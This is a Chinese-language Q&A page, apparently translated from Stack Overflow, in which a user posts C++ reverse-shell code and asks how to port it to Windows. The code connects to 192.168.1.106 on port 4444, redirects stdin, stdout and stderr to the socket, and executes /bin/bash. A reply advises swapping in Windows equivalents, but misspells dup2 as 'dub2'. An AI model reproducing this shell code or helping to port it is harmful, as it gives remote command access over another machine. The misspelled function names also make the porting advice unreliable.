我目前正在处理一个关于TCP远程shell的c++项目。因此,我构建了以下代码。当我在windows上工作时,我找到了以下所有"#include“的替代库和标题,但<netinet/in.h>
除外
谢谢你的帮助!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
“”“
发布于 2020-05-24 08:28:35
不要试图为从Linux到Windows的包含文件找到匹配。相反,试着一步一步地编译您的代码,并添加您需要的那些包含文件。我在代码中看到的是:
inet_addr
,您可以使用在<Ws2tcpip.h>
包含文件中的inet_pton
。dub2
在windows中使用_dub2
,即在<io.h>
内部。使用std::system
.代替
execve
https://stackoverflow.com/questions/61988674
复制